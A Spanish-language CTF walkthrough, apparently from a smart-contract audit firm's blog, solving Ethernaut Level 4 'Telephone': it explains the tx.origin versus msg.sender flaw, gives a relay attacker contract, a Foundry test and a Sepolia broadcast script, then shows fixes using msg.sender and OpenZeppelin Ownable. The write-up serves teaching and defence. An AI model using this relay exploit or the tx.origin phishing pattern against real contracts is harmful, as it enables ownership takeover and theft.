← Volver al blog
Mike B. - SecLat Security1 de septiembre de 2026

Ethernaut Level 4 Walkthrough: Explotando la Autenticación con tx.origin en Solidity

En este artículo, analizaremos y resolveremos Ethernaut Level 4: Telephone.

Este nivel parece trivial: un solo if protegiendo la propiedad del contrato. Pero esa línea esconde uno de los errores de control de acceso más antiguos en Solidity: confundir tx.origin con msg.sender. Si esa confusión queda al revés, el resultado no es solo dejar de proteger la función, es abrir una puerta específicamente para quien esté dispuesto a enrutar la llamada a través de un contrato.

Además de resolver el reto, entenderemos:

  • La diferencia real entre tx.origin y msg.sender
  • Por qué este check específico hace exactamente lo contrario de lo que parece
  • Cómo un contrato intermediario de una sola función invierte tx.origin != msg.sender a verdadero
  • Cómo validar el exploit con Foundry
  • Cómo defenderse eliminando por completo la autenticación basada en tx.origin

Descripción del Reto

El contrato guarda una dirección owner fijada en el despliegue. Expone una única función pública, changeOwner, que reasigna la propiedad bajo una condición específica.

La meta del reto es:

Reclamar la propiedad (ownership) del contrato.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Uso de tx.origin para autenticación
Causa Raíz:El check de propiedad compara tx.origin y msg.sender al revés
Impacto:Cualquier llamante puede tomar la propiedad con un contrato intermediario de una línea
Severidad:Crítica
Tipo de Ataque:Bypass de autenticación por tx.origin

Análisis del Contrato Vulnerable

Este es el contrato vulnerable usado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

Causa Raíz de la Vulnerabilidad

Toda la vulnerabilidad vive en una condición:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}

A primera vista parece una guarda: "solo continuar si algo se verifica correctamente." Pero hay que mirar qué es lo que realmente permite. changeOwner asigna owner = _owner precisamente cuando tx.origin y msg.sender son distintos. Eso solo ocurre cuando la llamada a Telephone llega a través de un contrato intermediario, no directamente desde una cuenta externa (EOA).

Esto viola un principio central de seguridad en el diseño de smart contracts:

La autorización debe basarse en el llamante inmediato (msg.sender), nunca en el firmante original de la transacción (tx.origin), porque tx.origin no dice nada sobre quién está invocando realmente la llamada actual.

Entendiendo tx.origin vs msg.sender

Para ver por qué falla el check, necesitamos separar los dos globals con precisión.

  1. tx.origin es la dirección de la cuenta externa (EOA) que firmó y transmitió la transacción original. Se mantiene constante en toda la cadena de llamadas de esa transacción.
  2. msg.sender es la dirección de quien llamó a la función actual. Cambia en cada salto: un contrato que llama a otro contrato se ve a sí mismo como msg.sender en el receptor.
  3. Cuando una EOA llama directamente a Telephone.changeOwner, tx.origin y msg.sender son la misma dirección. La condición es falsa y owner nunca cambia.
  4. Cuando una EOA llama a un contrato intermediario, y ese contrato llama a Telephone.changeOwner, tx.origin sigue siendo la EOA, pero msg.sender ahora es la dirección del contrato intermediario. Los dos difieren, la condición es verdadera, y owner cambia.
Llamada directa:
Player (EOA) --------------------> Telephone.changeOwner()
  tx.origin = Player
  msg.sender = Player
  tx.origin == msg.sender  ->  condición falsa, owner sin cambios

Llamada relevada:
Player (EOA) --> Caller (contrato) --> Telephone.changeOwner()
  tx.origin = Player
  msg.sender = Caller
  tx.origin != msg.sender  ->  condición verdadera, owner cambia

Esta confusión exacta está catalogada en el registro Smart Contract Weakness Classification como SWC-115, "Authorization via tx.origin." Es uno de los antipatrones de Solidity documentados más antiguos, precisamente porque es fácil de escribir y parece correcto en una lectura rápida.

Por Qué los Checks con tx.origin Son Peligrosos

El nivel Telephone demuestra el bypass mecánico, pero la misma primitiva tiene una segunda consecuencia, quizás peor, en código de producción: el phishing.

  • Si un contrato autoriza acciones basándose en tx.origin == owner, un contrato malicioso puede engañar al owner real para que lo llame. Ese contrato malicioso entonces llama al contrato víctima en nombre del owner, y tx.origin sigue resolviendo al owner, porque nunca cambia a lo largo de la cadena de llamadas.
  • Esto significa que los checks con tx.origin no son solo evadibles, pueden usarse activamente como arma contra un usuario legítimo que firma una sola transacción con una wallet que tiene acceso privilegiado en algún otro lugar.
  • msg.sender no tiene esta debilidad: siempre refleja al llamante inmediato, así que un contrato que verifica msg.sender == owner rechaza correctamente cualquier llamada que no venga directamente de la dirección propia del owner.

El patrón seguro es simple: los checks de autenticación y autorización deben usar msg.sender, punto. tx.origin tiene usos legítimos y acotados (algunos patrones legacy lo verifican para rechazar llamantes que sean contratos), pero nunca debe tratarse como prueba de quién está solicitando una acción.

Estrategia del Ataque

Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.

Sabemos que:

  1. changeOwner solo tiene éxito cuando tx.origin != msg.sender.
  2. Llamar a changeOwner directamente desde nuestra cuenta player mantiene ambos valores idénticos, así que una llamada directa siempre falla en cambiar la propiedad.
  3. Cualquier contrato que llame a changeOwner en nuestro nombre se convierte en el msg.sender que ve Telephone, mientras tx.origin sigue siendo nuestra dirección player.
  4. Solo necesitamos una función en un contrato intermediario que reenvíe la llamada.

Por lo tanto, nuestra estrategia será:

  1. Desplegar un contrato mínimo con una única función que llame a Telephone.changeOwner(player).
  2. Llamar a esa función desde nuestra cuenta player.
  3. Dentro de Telephone, msg.sender es el contrato intermediario y tx.origin es nuestro player, así que la condición es verdadera y owner se fija a nuestra dirección player.
  4. El nivel queda resuelto.

Contrato Atacante

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Telephone} from "src/levels/Telephone.sol";

contract TelephoneCaller {
    function attack(address _target, address _newOwner) public {
        Telephone(_target).changeOwner(_newOwner);
    }
}

Aquí importamos Telephone directamente en lugar de declarar una interfaz mínima, ya que el pragma del nivel (^0.8.0) es totalmente compatible con el resto del toolchain y no hay fricción de versiones que resolver.

attack recibe la instancia objetivo y la dirección que debe convertirse en el nuevo owner, y luego llama a changeOwner sobre el objetivo. Lo único que importa para el exploit es que esta llamada se origine en TelephoneCaller, no directamente en una EOA.

Cómo Funciona el Exploit

Primero, desplegamos TelephoneCaller, un contrato que no hace nada más que reenviar una llamada a Telephone.changeOwner.

Luego, desde nuestra cuenta player, llamamos a TelephoneCaller.attack(instance, player). Internamente, esto dispara Telephone.changeOwner(player).

Como esa llamada interna se origina en TelephoneCaller y no directamente en nuestra cuenta player, msg.sender dentro de Telephone es la dirección del contrato llamante, mientras que tx.origin sigue siendo la dirección de nuestro player durante toda la cadena. La condición tx.origin != msg.sender evalúa a verdadero, y owner se fija a nuestra dirección player.

Sin manipulación de storage, sin fondos, sin timing. Una sola llamada relevada es suficiente.

Validando el Exploit con Foundry

Después de clonar el repositorio de Ethernaut localmente, podemos crear un test de Foundry para validar el exploit.

// SPDX-License-Identifier: MIT
// Telephone_L4.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Telephone} from "src/levels/Telephone.sol";
import {TelephoneFactory} from "src/levels/TelephoneFactory.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestTelephone_L4 is Test, Utils {
    Ethernaut ethernaut;
    Telephone instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        TelephoneFactory factory = new TelephoneFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Telephone(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.prank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);

        // player es tx.origin aqui; el contrato caller se convierte en msg.sender
        // dentro de Telephone, asi que tx.origin != msg.sender se cumple y owner cambia.
        TelephoneCaller caller = new TelephoneCaller();
        caller.attack(address(instance), player);

        assertEq(instance.owner(), player);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Ejecutando el Test

Ejecutamos el test contra un fork de Sepolia:

source .env
forge test --mp test/Solutions/Telephone_L4.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv

Una vez ejecutado, podemos verificar que owner ahora coincide con nuestra dirección player y que el nivel acepta el envío.

Resolviendo el Nivel en Sepolia

Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {TelephoneCaller} from "test/Solutions/Attacks/TelephoneCaller.sol";
import {console} from "forge-std/console.sol";

contract TelephoneScript is Script {
    address public target;
    TelephoneCaller public caller;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        address player = vm.addr(pk);
        vm.startBroadcast(pk);

        caller = new TelephoneCaller();
        caller.attack(target, player);

        console.log("Caller contract:", address(caller));
        console.log("New owner:", player);

        vm.stopBroadcast();
    }
}

Ejecutando el Script

Primero, ejecutamos el script localmente:

forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC

Si todo funciona correctamente, lo transmitimos a Sepolia:

forge script scripts/Telephone.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv

Una vez que la transacción confirma, owner en la instancia coincide con tu dirección player. Solo falta enviar la instancia en el sitio de Ethernaut.

Cómo Prevenir Esta Vulnerabilidad

La corrección no es una condición más inteligente, es eliminar tx.origin de cualquier lógica de autorización por completo.

Usar msg.sender para autorización

// Vulnerable
function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}

// Corregido
function changeOwner(address _owner) public {
    require(msg.sender == owner, "Not owner");
    owner = _owner;
}

msg.sender == owner rechaza correctamente cualquier llamada que no venga directamente de la dirección actual del owner, sea contrato o no, y no puede ser engañado enrutando la llamada a través de un intermediario.

Reservar tx.origin para sus usos legítimos y acotados

Si un diseño realmente necesita detectar si una llamada se originó en una EOA o en un contrato, esa es una pregunta distinta a la de autorización, y nunca debería ser el factor decisivo sobre quién puede cambiar estado privilegiado.

Usar primitivas de control de acceso auditadas

Librerías como Ownable de OpenZeppelin implementan el check de msg.sender de forma correcta y consistente, eliminando la tentación de escribir a mano la lógica de propiedad en cada contrato.

import "@openzeppelin/contracts/access/Ownable.sol";

contract Telephone is Ownable {
    function changeOwner(address _owner) public onlyOwner {
        transferOwnership(_owner);
    }
}

Lecciones Aprendidas

Este reto muestra que una condición de una sola línea puede estar exactamente al revés y aun así compilar, desplegarse, y parecer intencional.

Lecciones clave de este nivel:

  • tx.origin identifica quién firmó la transacción original, nunca quién está llamando a la función actual.
  • msg.sender es la única señal correcta para "quién me está llamando ahora mismo."
  • Cualquier check construido alrededor de tx.origin != msg.sender (o su inverso) merece escrutinio: está razonando sobre mediación por contrato, no sobre identidad.
  • La autorización basada en tx.origin también es un vector de phishing contra usuarios reales, no solo un truco de CTF.
  • SWC-115 existe precisamente porque este error sigue apareciendo en código de producción.

Conclusión

En este reto, explotamos un check de autenticación con tx.origin que solo concede acceso cuando la llamada se releva a través de un contrato, exactamente lo opuesto a un patrón de control de acceso seguro.

Construimos un contrato intermediario de una sola función que llama a changeOwner en nuestro nombre, haciendo que tx.origin y msg.sender difieran y volcando la propiedad hacia nuestra dirección player.

Este nivel es una excelente introducción a:

  • La distinción real entre tx.origin y msg.sender
  • Por qué los checks basados en tx.origin fallan en ambas direcciones, evadibles y explotables vía phishing
  • Construir un contrato relay mínimo para demostrar el bypass
  • Metodología de exploit real validada con Foundry
  • Patrones correctos de propiedad usando msg.sender y librerías auditadas como Ownable de OpenZeppelin

Puedes encontrar más contenido de seguridad Web3 en nuestro blog.

Si buscas una auditoría de seguridad para tu protocolo, contáctanos a través de nuestro sitio seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.